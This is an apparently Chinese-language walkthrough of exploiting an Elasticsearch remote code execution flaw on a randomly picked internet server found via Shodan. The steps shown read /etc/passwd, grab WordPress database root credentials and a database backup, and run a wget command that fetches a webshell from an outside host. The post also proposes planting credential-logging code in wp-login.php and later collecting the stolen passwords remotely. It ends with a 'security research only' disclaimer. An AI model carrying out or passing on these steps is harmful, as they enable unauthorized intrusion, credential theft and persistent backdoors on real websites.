通過ElasticSearch漏洞獲取某站webshell權(quán)限
原創(chuàng)ElasticSearch在一些大型企業(yè)內(nèi)部往往部署的比較多,因此在獲取某內(nèi)網(wǎng)權(quán)限后,進(jìn)一步的滲透就非常有意義了。在上一篇《ElasticSearch漏洞實(shí)戰(zhàn):通過perl進(jìn)行反彈shell》中分析了通過perl腳本來獲取反彈的shell,反彈的shell具有一定的時(shí)效性,本文就非perl方面的滲透進(jìn)行探討。
1.通過shodanhq搜索引擎搜索關(guān)鍵字“Elasticsearch”
首先在網(wǎng)站shodanhq.com注冊一個(gè)用戶,注冊成功后需要通過郵箱進(jìn)行激活,激活后即可使用。在搜索框中輸入關(guān)鍵字“Elasticsearch”進(jìn)行搜索,如圖1所示,結(jié)果以top countries顯示查詢記錄,在早期搜索結(jié)果中中國排名第一,后面以美國部署的服務(wù)器較多。在結(jié)果列表中隨機(jī)選擇一個(gè)IP地址,在本例中選擇的是國外的IP。
圖1搜索關(guān)鍵詞“ElasticSearch”
2.通過FireFox便攜版本進(jìn)行漏洞測試
在FireFox便攜版本輸入地址“http://192.121.xxx.xxx:9200/_search?pretty”,然后單擊“Load Url”,如圖2所示,在Post Data中輸入以下代碼:
該代碼的目的是讀取linux操作系統(tǒng)中的/etc/passwd文件的內(nèi)容,如果存在漏洞則讀取passwd文件內(nèi)容,反之則說明該漏洞不存在。
圖2測試漏洞是否存在
3.查詢敏感文件
在Post data中修改exec(\"cat /etc/passwd\")內(nèi)容為exec(\"locate *.php \")、exec(\"locate *.sql \")、exec(\"locate *.conf \")等以獲取敏感文件信息,如圖3所示,表明該服務(wù)器可能使用php,且cms系統(tǒng)可能為wordpress。
圖3尋找系統(tǒng)敏感信息
使用代碼以下代碼直接獲取wp-config.php 文件所在路徑“/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”,如圖4所示:
圖4獲取wp-config.php的路徑
4.定位網(wǎng)站和真實(shí)路徑
通過執(zhí)行“cat /usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”來讀取該文件內(nèi)容,如圖5所示,獲取mysql數(shù)據(jù)庫root賬號(hào)和密碼以及網(wǎng)站域名xxxxxxxxxxxxx.com
等信息。通過查看網(wǎng)站所在根目錄,還發(fā)現(xiàn)有mysql文件備份,通過flashget下載工具將其下載到本地,如圖6所示。
圖5獲取網(wǎng)站域名等信息
圖6下載數(shù)據(jù)庫文件#p#
5.獲取webshell
通過執(zhí)行命令:wget -O /usr/share/nginx/xxxxxxa2/__MACOSX/oxxxxxxxa/ wp-content/uploads /my.php http://www.antian365.com/data/cache/2.txt 將webshell下載到本地服務(wù)器中/usr/share/nginx/xxxxxx2/__MACOSX/xxxxxxxxxxxxx/ wp-content/uploads目錄,webshell地址http://ocXXXXXx.com/wp-content/uploads/my.php,通過中國菜刀進(jìn)行連接,如圖7所示成功獲取webshell權(quán)限。
圖7獲取webshell權(quán)限
6.討論
在本例中通過命令執(zhí)行漏洞下載了mysql數(shù)據(jù)庫文件,通過查看該文件知道了wordpress管理員的密碼等信息,如圖8所示,可以對該密碼進(jìn)行破解,通過破解的密碼和用戶進(jìn)行登錄,再通過后臺(tái)來提權(quán),也可以輕松獲取webshell后門。
圖8獲取wordpress后臺(tái)管理員密碼等信息
還可以在wp-login.php文件中加入密碼記錄代碼,在if ( force_ssl_admin() && ! is_ssl() )代碼結(jié)束處加入記錄代碼,如圖9所示,加入后的代碼如下:
定期訪問http://www.antian365.com/wp-content/plugins/d.txt,即可獲取管理員登錄密碼等信息。
圖9記錄wordpress密碼代碼
注:本文僅供安全研究使用。